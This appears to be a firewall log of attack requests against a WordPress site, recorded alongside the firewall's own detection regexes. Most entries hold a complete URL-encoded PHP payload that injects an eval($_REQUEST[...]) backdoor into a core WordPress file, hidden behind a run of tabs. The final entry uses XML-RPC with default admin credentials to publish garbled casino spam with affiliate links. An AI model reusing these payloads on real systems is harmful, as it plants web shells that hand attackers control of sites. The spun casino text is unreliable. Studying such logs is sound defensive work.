["2026-05-12 17:39:47","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2035\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nWR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:47","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁360秒","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2035\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nWR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:40:23","217.160.68.81","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:2035\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nMS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:40:29","188.138.39.67","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2035\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nfe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:40:44","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2035\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nnh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:41:09","162.128.128.22","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Greatest Real money Gambling establishment Applications to own 2026: ten Better Web based casinos]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Position Apps to have ios devices<\/a><\/li><li><a href=\"#toc-1\">⚙️ Precision Suits Play<\/a><\/li><li><a href=\"#toc-2\">Earn Extremely Jackpots<\/a><\/li><li><a href=\"#toc-3\">Games Collection<\/a><\/li><li><a href=\"#toc-4\">Dice With Pals: Societal Game<\/a><\/li><\/ul><\/div>\n<p>The fresh 1xSlots customer service team can be obtained 24\/7, and they'll become more than simply ready to help you with people issues otherwise queries you have. If you need to get in touch with the fresh 1xSlots customer support team, you could do so because of the clicking on the brand new ‘chat’ switch in the bottom of your own gambling establishment’s website. The working platform as well as categorises slot machines because of the motif, such jewels, Egypt and you may headache. <!--more--> With quite a few thousand titles, the website try a slot machine heaven. 1xSlots is without a doubt created for slot machine game partners. Check out the certified 1xSlots website on your pc otherwise cellular unit.<\/p>\n<p>We provide an intensive number of ports, table video game, lotteries or other video game types. If you make a deposit in the 1xSlots cellular app on the very first <a href=\"https:\/\/mobileslotsite.co.uk\/liberty-slots-casino\/\">mobileslotsite.co.uk click resources<\/a> time, you can purchase a complete band of welcome incentives you to apply to your earliest five places. Down load the new 1xSlots mobile software today and you may change their betting sense! Bonus conditions and you will in control playing legislation apply at all the professionals.<\/p>\r\n<h2 id=\"toc-0\">Position Apps to have ios devices<\/h2>\n<p>Progressive casino players often do the most of their betting on the cellular, so workers must focus on these pages. Whether it’s through online casino software otherwise through your mobile web browser, best gambling enterprises would be to function instead a good hitch on the cell phones and you will pills. With higher advertisements and you will a variety of video game to choose from, 1xSlots is a perfect choice for both the brand new and you can knowledgeable players exactly the same. With this type of products, 1xslots mobi surely gifts a perfect gambling experience. You are able to down load their software (1xslots mobi) and you can jump on at any place and on people tool, making it a convenient option for days out of enjoyable!<\/p>\r\n<h2 id=\"toc-1\">⚙️ Precision Suits Play<\/h2>\n<p>Slot machines alone has endless variations, because the manage well-known online game for example craps and you will backgammon. Of course, the only drawback is you usually do not earn income inside a no cost gambling enterprise online game. It is an excellent configurations for people itching to experience on the an excellent gambling establishment floor however, that simply don't features spare bucks to risk. Gamble ports such as a top roller from the comfort of your own own house!<\/p>\r\n<h2 id=\"toc-2\">Earn Extremely Jackpots<\/h2>\n<img src=\"https:\/\/www.telegraph.co.uk\/content\/dam\/betting\/Better-Collective\/sky-bet-best-sites.jpg\" alt=\"top 10 casino games online\" border=\"0\" align=\"left\" style=\"padding: 10px;\">\n<p>Score the The brand new game within current inform! I have produced several enjoyable reputation to help keep your favorite ports extra-shiny and you will loaded with funs！ Start to try out today to help you immediately receive ten,100,000 Totally free Gold coins as the invited bonus, and you may log on via Facebook to earn an extra step one,000,100000 Biggest Harbors coins! A variety of bonuses are given, along with welcome incentives, free spins, cashback, and you can commitment benefits. The newest local casino’s customer support team is quite amicable and you can useful, and they're going to become more than just ready to help you with people issues otherwise inquiries you have.<\/p>\n<p>Having fun with a bona-fide money position application unlocks extra benefits, such custom notifications, smaller logins, and you may centered-in the banking systems. Position programs load reduced, focus 